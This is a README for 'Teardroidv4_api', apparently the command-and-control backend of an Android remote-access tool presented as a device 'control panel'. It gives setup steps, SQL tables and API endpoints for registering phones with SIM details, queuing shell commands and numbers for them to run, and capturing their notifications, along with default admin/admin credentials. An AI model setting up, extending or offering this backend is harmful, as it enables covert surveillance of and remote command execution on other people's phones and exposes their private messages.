Advanced Android Control Panel API built with FastAPI and Supabase.
✅ Authentication - Secure JWT-based authentication
✅ Device Management - Register and manage Android devices
✅ Command Execution - Send and track commands on devices
✅ Notifications - Capture and manage notifications from devices
✅ Real-time Sync - Track device status and online/offline state
- Python 3.9+
- Supabase Account (free)
- pip
- Clone the repository
git clone https://github.com/ZEEFAST/Teardroidv4_api
cd Teardroidv4_api- Create virtual environment
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate- Install dependencies
pip install -r requirements.txt-
Setup Supabase
- Go to https://supabase.com
- Create new project
- Get your URL and Anon Key from Settings > API
- Create tables using SQL below
-
Create .env file
cp .env.example .env
# Edit .env with your Supabase credentials- Setup Database Tables
Run this SQL in Supabase SQL Editor:
CREATE TABLE auth (
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
username TEXT UNIQUE NOT NULL,
password TEXT NOT NULL,
created_at TIMESTAMP DEFAULT now()
);
CREATE TABLE client (
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
android_version TEXT,
device_name TEXT,
sim_operator TEXT,
sim_country TEXT,
interval INTEGER DEFAULT 3000,
active BOOLEAN DEFAULT true,
last_online TIMESTAMP,
created_at TIMESTAMP DEFAULT now()
);
CREATE TABLE command (
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
device_id UUID REFERENCES client(id),
command TEXT NOT NULL,
shell TEXT,
number TEXT,
data TEXT,
is_complete BOOLEAN DEFAULT false,
success BOOLEAN DEFAULT false,
response TEXT,
created_at TIMESTAMP DEFAULT now(),
completed_at TIMESTAMP
);
CREATE TABLE notification (
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
device_id UUID REFERENCES client(id),
package_name TEXT,
title TEXT,
body TEXT,
read BOOLEAN DEFAULT false,
created_at TIMESTAMP DEFAULT now()
);- Run the API
uvicorn main:app --reload --host 127.0.0.1 --port 8000Server running at: http://localhost:8000
POST /auth/login- Login with credentialsPOST /auth/change-password- Change password
POST /client/add- Register new deviceGET /client/- Get all devicesGET /client/device/{device_id}- Get device infoDELETE /client/device/{device_id}- Delete device
POST /command/send- Send command to deviceGET /command/device/{device_id}- Get pending commandsPOST /command/complete- Mark command completeGET /command/response/{command_id}- Get command responseGET /command/history/{device_id}- Get command history
POST /notification/add- Add notificationGET /notification/device/{device_id}- Get device notificationsGET /notification/- Get all notificationsPUT /notification/mark-read/{notification_id}- Mark as readDELETE /notification/device/{device_id}- Delete device notifications
- Username: admin
- Password: admin
-
Get your computer's local IP:
- Windows:
ipconfig - Mac/Linux:
ifconfig
- Windows:
-
On Android phone (same WiFi):
http://192.168.X.X:8000
API Documentation: http://localhost:8000/docs
For issues, create a GitHub issue.
MIT License